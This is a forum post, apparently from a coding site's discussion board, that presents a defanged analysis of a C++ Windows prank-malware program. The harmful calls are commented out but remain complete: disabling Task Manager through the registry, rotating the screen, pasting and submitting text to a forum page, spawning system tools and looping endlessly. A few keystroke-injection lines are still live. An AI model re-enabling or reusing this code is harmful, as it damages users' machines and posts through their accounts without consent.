luojinhe1的恶意代码分析
  • 板块灌水区
  • 楼主Perry6632
  • 当前回复4
  • 已保存回复4
  • 发布时间2025/1/23 16:49
  • 上次更新2025/1/23 19:58:35
查看原帖
luojinhe1的恶意代码分析
934631
Perry6632楼主2025/1/23 16:49

有害的全注释掉了改成cout功能了

#include <bits/stdc++.h>
#include <windows.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x80000) ? 1:0)
using namespace std;
int a; 
string user;
POINT p;

BOOL StringToClipBoard(char* srcString)
{	
	cout<<"复制信息到粘贴板"<<endl;
//	BOOL bResult = FALSE;
//	DWORD dwLength = strlen(srcString);
//	HANDLE hGlobalMemory = GlobalAlloc(GHND, dwLength + 1); // 分配内存
//	LPBYTE lpGlobalMemory = (LPBYTE)GlobalLock(hGlobalMemory); // 锁定内存
//	if ( NULL != lpGlobalMemory )
//	{
//		strcpy((char*)lpGlobalMemory, srcString);
//		GlobalUnlock(hGlobalMemory); // 锁定内存块解锁
//		OpenClipboard(NULL); // 打开剪贴板
//		EmptyClipboard(); // 清空剪贴板
//		SetClipboardData(CF_TEXT, hGlobalMemory); // 将内存中的数据放置到剪贴
//		CloseClipboard();
//		bResult = TRUE;`
//	}
//	return bResult;
	return 1;
}

void jin_r()
{	
	cout<<"修改注册表"<<endl;
//	HKEY hkey;
//	DWORD value = 1;
//	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
//	RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
//	RegCloseKey(hkey);
} 
void fanzhuan()
{
	cout<<"旋转屏幕"<<endl;
//	DEVMODE dm;
//	// initialize the DEVMODE structure
//	ZeroMemory(&dm, sizeof(dm));
//	dm.dmSize = sizeof(dm);
//	if (0 != EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &dm))
//	{
//		// swap height and width
//		DWORD dwTemp = dm.dmPelsHeight;
//		dm.dmPelsHeight = dm.dmPelsWidth;
//		dm.dmPelsWidth = dwTemp;
//		// determine new orientaion
//		switch (dm.dmDisplayOrientation)
//		{
//		case DMDO_DEFAULT:
//			dm.dmDisplayOrientation = DMDO_270;
//			break;
//		case DMDO_270:
//			dm.dmDisplayOrientation = DMDO_180;
//			break;
//		case DMDO_180:
//			dm.dmDisplayOrientation = DMDO_90;
//			break;
//		case DMDO_90:
//			dm.dmDisplayOrientation = DMDO_DEFAULT;
//			break;
//		default:
//			// unknown orientation value
//			// add exception handling here
//			break;
//		}
//		long lRet = ChangeDisplaySettings(&dm, 0);
//		if (DISP_CHANGE_SUCCESSFUL != lRet)
//		{
//			// add exception handling here
//		}
//	}
}


void down(int vk)
{
	cout << "按下按键"<<vk<<endl;
	keybd_event(vk,0,0,0);
}
void up(int vk)
{
	cout << "抬起按键"<<vk<<endl;
	keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void press(int vk)
{
	cout<<"单击按键"<<vk<<endl;
	//keybd_event(vk,0,0,0);
	//keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void danji()
{	
	cout<<"单击鼠标"<<endl;
//	mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
//	Sleep(10);
//	mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}






int main()
{
	HWND hwnd = GetForegroundWindow();
	cout << "打招呼"<<endl;
	//MessageBox(NULL,"message","message",MB_OK | MB_ICONINFORMATION);
	cout<<"弹弹窗打招呼"<<endl;
	cout<<"弹弹窗询问是否运行"<<endl;
//	a = MessageBox(NULL,"message","message",MB_OKCANCEL | MB_ICONINFORMATION);
//	if (a == 1){
//		MessageBox(NULL,"message","message",MB_OK|MB_ICONINFORMATION);
//		Sleep(2000); 
//	}
//	else{
//		MessageBox(NULL,"message","message",MB_OK | MB_ICONINFORMATION| MB_SYSTEMMODAL);
//	}
//	SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
//	MoveWindow(hwnd,200,200,500,200,TRUE);
	cout<<"移动当前窗口位置和改变大小"<<endl;
	cout << "调戏你"<<endl;
	cout << "移动鼠标"<<endl;
	Sleep(1000);
	cout << "调戏你"<<endl;
	cout << "移动鼠标"<<endl;
	Sleep(1000);
	//system("start https://oj.hetao101.com/discuss/node/%E5%88%86%E4%BA%AB/create");
	cout << "打开网页"<<endl;
	cout << "调戏你"<<endl;
	cout << "移动鼠标"<<endl;
	Sleep(1000);
	//MessageBox(NULL,"向粘贴板复制信息","message",MB_OK | MB_ICONINFORMATION| MB_SYSTEMMODAL);
	StringToClipBoard("message");
	cout << "移动鼠标"<<endl;
	danji();
	cout << "移动鼠标"<<endl;
	danji();
	down(VK_CONTROL);
	keybd_event(86,0,0,0);
	keybd_event(86,0,KEYEVENTF_KEYUP,0);
	Sleep(10);
	press(VK_RETURN);
	up(VK_CONTROL);
	
	
	
	
	Sleep(1000);
	//SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 500, 200, SWP_NOMOVE|SWP_NOSIZE);
	cout<<"移动当前窗口位置和改变大小"<<endl;
	//system("cls");
	cout<<"清屏"<<endl;
	cout << "调戏你"<<endl;
	jin_r();
	HWND hwnd2 = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	POINT cursor;
	
	cout << "移动鼠标"<<endl;
	Sleep(1500);
//	ShowWindow(hwnd,SW_MINIMIZE);
	cout << "程序置顶"<<endl;
	//MessageBox(NULL,"程序置顶","message",MB_OK | MB_ICONINFORMATION| MB_SYSTEMMODAL);
	
	for (int i = 1;i <= 6;i++)
		cout<<"打开cmd"<<endl;
	
	for (int i = 1;i <= 2;i++)
	{
//		SetCursorPos(rand()%1000,rand()%1000);
		cout << "随机移动鼠标"<<endl;
//		system("start notepad");
		cout<<"打开记事本"<<endl;
//		SetCursorPos(rand()%1000,rand()%1000);
		cout << "随机移动鼠标"<<endl;
//		system("start calc");
		cout<<"打开计算器"<<endl;
//		SetCursorPos(rand()%1000,rand()%1000);
		cout << "随机移动鼠标"<<endl;
//		system("start winver");
		cout<<"打开关于windows"<<endl;
//		SetCursorPos(rand()%1000,rand()%1000);
		cout << "随机移动鼠标"<<endl;
//		system("start Nslookup");
		cout<<"打开Nslookup.exe(不知道是什么"<<endl;
//		SetCursorPos(rand()%1000,rand()%1000);
		cout << "随机移动鼠标"<<endl;
//		system("start cleanmgr");
		cout<<"打开磁盘清理"<<endl;
//		SetCursorPos(rand()%1000,rand()%1000);
		cout << "随机移动鼠标"<<endl;
//		system("start charmap");
		cout<<"打开字符映射表"<<endl;
//		SetCursorPos(rand()%1000,rand()%1000);
		cout << "随机移动鼠标"<<endl;
//		system("start dxdiag");
		cout<<"打开DirectX诊断工具"<<endl;
		fanzhuan();
	}
	//system("start cmd");
	cout<<"打开cmd"<<endl;
	double start = clock();
	double end = clock() - start;
	while (end < 4000)
	{
		cout<<"随即移动鼠标"<<endl;
		cout<<"获取鼠标位置"<<endl;
//		end = clock() - start;
//		SetCursorPos(rand()%1000,rand()%1000);
//		GetCursorPos(&cursor);
//		DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR));
//		DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION));
//		DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING));
		cout<<"在鼠标附近绘制图标*3"<<endl;
		Sleep(0.5);
//		SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
//		MoveWindow(hwnd,650,350,600,400,TRUE);
		cout<<"移动当前窗口位置和改变大小"<<endl;
		cout << "调戏"<<endl;
		cout<<"清屏"<<endl;
		//system("cls");
	}
	for (int i = 1;i <= 2;i++)
		fanzhuan();
	for (int i = 1;i <= 5;i++)	
		cout<<"定时60s关机"<<endl;
	Sleep(500);
	while (1)
	{	
		cout<<"随即移动鼠标"<<endl;
		cout<<"获取鼠标位置"<<endl;
		cout<<"在鼠标附近绘制图标*3"<<endl;
		Sleep(0.5);
		cout<<"给程序分配内存"<<endl;
//		SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
//		MoveWindow(hwnd,650,350,600,400,TRUE);
		cout<<"移动当前窗口位置和改变大小"<<endl;
		fanzhuan();
		//system("cls");
		cout<<"清屏"<<endl;
		cout<<"无限循环以上事件"<<endl;
		system("pause");
	}
	return 0;
}
2025/1/23 16:49
加载中...